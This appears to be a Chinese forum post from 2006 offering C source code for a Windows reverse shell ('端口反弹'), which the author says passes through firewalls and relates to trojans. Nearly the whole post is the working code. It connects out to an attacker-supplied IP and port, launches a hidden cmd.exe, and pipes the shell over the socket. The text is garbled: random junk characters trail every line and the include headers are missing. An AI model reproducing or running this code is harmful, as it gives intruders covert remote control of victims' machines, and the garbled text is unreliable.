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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TV}SKvu  
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/* ============================== j!l(ReGb  
Rebound port in Windows NT $A ,=z  
By wind,2006/7 l`k3!EZDS  
===============================*/ N'StT$(  
#include v3B ^d}+.  
#include R?(j#bk  
Gu-Sv!4p  
#pragma comment(lib,"wsock32.lib") B4?P"|  
{ !w]t?h  
void OutputShell(); f"Z2&Y@  
SOCKET sClient; 8{RiaF8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; )-mB^7uXGv  
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void main(int argc,char **argv) Y 4U $?%j  
{ _Cs.%R!r  
WSADATA stWsaData; KLk37IY2\  
int nRet; a?;{0I:Ln  
SOCKADDR_IN stSaiClient,stSaiServer; 1DX=\BWp  
9Ah4N2nL-b  
if(argc != 3) h(9K7  
{ jH8F^KJM[  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8L#sg^1V  
return; #pZ3xa3R  
} ~Oq(JM $M  
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WSAStartup(MAKEWORD(2,2),&stWsaData); (efH>oY[  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gG}<l ':  
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stSaiClient.sin_family = AF_INET; k,?k37%T]  
stSaiClient.sin_port = htons(0); d-Sm<XHu.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TPrwC~\B/  
]'"$qm:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y!5-WX H  
{ ,QK>e;:Be  
printf("Bind Socket Failed!\n"); @A:Xct  
return; $+tkBM  
} }{[F+|\>,e  
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stSaiServer.sin_family = AF_INET; BUtXHD  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !Ed';yfz\(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )msqt!Ev  
N(D_*% 96  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) km *$;Nli  
{ y'(;!5w  
printf("Connect Error!"); MQhL>oQ  
return; P? >p+dM  
} Gv<K#@9T  
OutputShell(); =!Ok079{[  
} <@oK ^ja  
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void OutputShell() NbSwn}e_  
{ y$!~</=b  
char szBuff[1024]; NKRNEq!  
SECURITY_ATTRIBUTES stSecurityAttributes; }v`5  
OSVERSIONINFO stOsversionInfo; :Vv=p*~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q K]Wk+  
STARTUPINFO stStartupInfo; ^!=+$@<  
char *szShell; Pj^6.f+  
PROCESS_INFORMATION stProcessInformation; D{ c`H}/`  
unsigned long lBytesRead; 6%:N^B=%}  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hMdsR,Iq  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1SQ&m H/  
stSecurityAttributes.lpSecurityDescriptor = 0; &Jq?tnNd  
stSecurityAttributes.bInheritHandle = TRUE; zDC-PHF HQ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?k#-)inf)  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZfS-W&6Z  
CJ?Lv2Td  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {=pf#E=  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wo\NX05-?  
stStartupInfo.wShowWindow = SW_HIDE; ?NJ\l5'  
stStartupInfo.hStdInput = hReadPipe; '\P6NszY~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Sa6}xe."M,  
ji:JLvf]%  
GetVersionEx(&stOsversionInfo); FK0nQ{uB"  
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switch(stOsversionInfo.dwPlatformId) a,!c6'QE  
{ `G,\=c~{A  
case 1: A6= Um%T  
szShell = "command.com"; 5) nm6sf  
break; J1hc :I<;  
default: M{1't  
szShell = "cmd.exe"; 58{6kJ@  
break; Z#%4QIz ?  
} Ub%5# <k|-  
!'[f!vsyM{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y.HE3tH  
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send(sClient,szMsg,77,0); 6l<q  
while(1) d?.ewsC  
{ Yc&yv  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <T,vIXwu+  
if(lBytesRead) ^3^n|T7le  
{ eE '\h  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `a*[@a#  
send(sClient,szBuff,lBytesRead,0); K]1A,Q  
} ML9ZS @  
else GFB(c  
{ W c{<DE?J  
lBytesRead=recv(sClient,szBuff,1024,0); Vr+X!DeY  
if(lBytesRead<=0) break; _Y?p =;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Mpzt9*7R  
} <j+DY@*  
} N`h,2!(j  
*VG#SK  
return; !?,7Cu.5#6  
}
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